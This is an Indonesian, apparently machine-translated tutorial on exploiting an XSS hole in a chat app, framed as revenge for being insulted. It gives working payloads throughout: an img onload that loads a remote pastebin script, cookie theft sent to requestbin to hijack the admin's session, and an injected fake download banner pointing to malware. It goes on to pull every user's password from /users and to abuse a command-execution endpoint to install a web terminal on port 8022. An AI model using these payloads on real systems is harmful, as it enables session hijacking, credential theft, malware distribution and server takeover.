Memanfaatkan kerentanan xss

Artikel ini menjelaskan penggunaan kerentanan xss:
- Pencurian Token
- Pencurian lingkungan
- Perubahan Konten Situs
- Mendapatkan akses ke sistem hosting
Latar belakang

Jadi, Anda pergi ke obrolan, Anda tersinggung, dan sekarang Anda ingin membalas dendam. Seperti yang Anda lihat dari dialog, Anda dapat dengan mudah mengirim html, yang merupakan peluang ideal untuk xss, pada kenyataannya Anda tidak mungkin melihat celah seperti itu.
Jalankan skrip
Kami ngobrol dengan kemampuan mengirim HTML. Jadi mari kita periksa kemungkinan xss console.log('XSS stage 0')
dan tidak berhasil.
Ada apa? Chromium dan firefox mengabaikan skrip yang ditambahkan melalui innerHTML
.
Ok coba pendekatan kedua
<img src="https://picsum.photos/200/200" onload="console.log('XSS')" />
XSS ditampilkan di konsol berarti kode berfungsi
Sekarang pada pastebin kita akan membuat skrip yang akan kita mainkan
Konten Skrip:
console.log('Script loaded')
Untuk menjalankan skrip di atribut onload, tulis:
s=document.createElement('script');s.src='https://pastebin.com/raw/[YOUR_PASTE_ID]';document.body.appendChild(s)
Dan sekarang mengirim
<img src="https://picsum.photos/200/200" onload="s=document.createElement('script');s.src='https://pastebin.com/raw/[YOUR_PASTE_ID]';document.body.appendChild(s)" />
semua penerima akan melihat gambar dan menjalankan skrip
Rob cookie
Dengan memuat skrip, kami menemukannya, sekarang kami akan mulai beroperasi. Pertama, data perlu dikirim ke suatu tempat, kami akan menggunakan requestbin
Tetapi hanya mengirim teks yang sama tidak menarik, mari kita kirim cookie
Cookie berisi token untuk mengidentifikasi pengguna.
Di requestbin, kami mendapatkan dua permintaan dengan dua token:
-1067197389
1679211939
Karena token saya adalah 1679211939
Jadi admin token -1067197389
Mengganti token Anda dengan token admin, kami dapat menulis atas namanya
Perubahan konten
Menulis sebagai administrator itu menyenangkan, tetapi mari kita sedikit mengubah konten situs. Menambahkan baris seperti itu ke skrip berbahaya kami
let d = document.createElement('div') d.innerHTML = `<div style="position: fixed;top: 0;height: 20px;width: 100vw;color: white;text-align: center;background: purple;" onclick="document.location='/your_very_evil_program'">Download new appliction</div>` document.body.appendChild(d) document.getElementById('msgs').setAttribute('style', 'height: calc(100% - 60px);margin-top: 20px;')

Setelah kami mengirim foto seperti itu atas nama admin, semua penerima akan menerima spanduk yang, ketika diklik, mengarah ke program /your_very_evil_program
Pencurian lingkungan
Saatnya untuk mengakses panel admin. Jadi periksa apa yang ada di /admin
dan di sana kami bertemu dengan ACCESS DENIED. BURN IN FIRE
ACCESS DENIED. BURN IN FIRE
, oke, ganti token admin di cookie. Dan lagi, akses ditolak, yang berarti otorisasi terjadi dengan cara lain. Jadi kami meminta panel admin dari mesin admin.
Tambahkan ke skrip jahat:
const admin = await (await fetch("/admin")).text()
Dan ketika mengirim nilai admin ke dalam tubuh, kita mendapatkan /admin
data
Kami akan mendapatkan kode admin
<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8" /> <meta name="viewport" content="width=device-width, initial-scale=1.0" /> <meta http-equiv="X-UA-Compatible" content="ie=edge" /> <title>Admin</title> </head> <body> Hello admin<br /> <textarea id="users" rows="20" cols="100"></textarea><br /> <button id="updUsers">Update users</button><br /><br /> <script> let fetchUsrs = fetch("/users") .then(e => e.text()) .then(e => (document.getElementById("users").value = e)); document.getElementById("updUsers").onclick = () => { fetch("/users", { body: JSON.stringify({ data: document.getElementById("users").value.toString() }), headers: { Accept: "application/json, text/plain, */*", "Content-Type": "application/json" }, method: "POST" }).then(fetchUsrs); }; function toCmd(cmd) { document.location = "http://" + location.host + "/exec?cmd=" + encodeURIComponent(cmd); } </script> <button onclick="toCmd('free --human')">Check mem</button> <button onclick="toCmd('ps')">Show procs</button> </body> </html>
Apa yang bisa dipelajari dari ini:
- Ada titik akhir
/users
yang mengembalikan dan menerima pengguna - Apakah ada titik akhir
/exec?cmd
yang menjalankan program
Kedua titik akhir tidak memberi kami akses. Jadi cobalah menarik /users
{ "admin": "VerySecurePassword", "chiken": "COW+CHICKEN", "user001": "agent007", "justUser": "llkk", "test":"12" }
Jadi sekarang kita memiliki kata sandi dan login semua pengguna sistem dan sekarang kita login di bawah admin, kita mendapatkan akses ke panel admin, dan di cookie muncul cookie hanya http yang memungkinkan akses ke sana.
Mendapatkan akses ke sistem
Seperti yang Anda ingat, kami memiliki titik akhir yang menjalankan perintah, jadi sekarang kami dapat melakukan apa pun yang kami inginkan, tetapi tidak nyaman untuk menggunakannya, jadi kami akan menjalankan berpasir di server
Sekarang atur /exec?cmd=npm%20i%20gritty%202%3E%261
Dan jalankan /exec?cmd=node%20node_modules%2Fgritty%2Fbin%2Fgritty.js%20--port%208022
Dan pada port 8022, terminal berpasir menjadi tersedia untuk kita
XSS - Sangat Berbahaya